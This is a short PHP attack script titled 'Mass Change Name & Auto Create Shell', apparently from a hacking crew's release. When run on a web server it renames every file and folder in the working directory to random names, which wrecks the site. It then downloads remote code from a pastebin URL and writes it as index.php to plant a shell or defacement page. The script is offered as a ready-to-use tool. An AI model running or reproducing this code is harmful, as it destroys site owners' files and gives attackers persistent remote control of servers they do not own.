Mass Change Name & Auto Create Shell

<?php


// Pennywise - { IndoSec Coder Team }
// Greetz : Brilly4n, Andri, Sandra, Fadhli, Revan, All Member IndoSec


$dir = getcwd();

$lol = scandir($dir);
foreach ($lol as $lul) {

    $ha = '';
    $random = rand(1, 100);
 if($lul != "." AND $lul != ".."){
    if(is_dir($lul)) {
        // Nama Folder
        rename($lul, 'Pennywise'.$random);
        $ha = "<script>alert('SUKSES');</script>";
    } else {
        // Nama File
        rename($lul, 'IndoSec'.$random);
        $ha = "<script>alert('SUKSES');</script>";
    }
}
}
// Your Script Or Shell
$ini = file_get_contents("https://pastebin.com/raw/hHBdakNJ");
// Nama File Untuk Script Atau Shell
file_put_contents("index.php", $ini);
echo $ha;
?>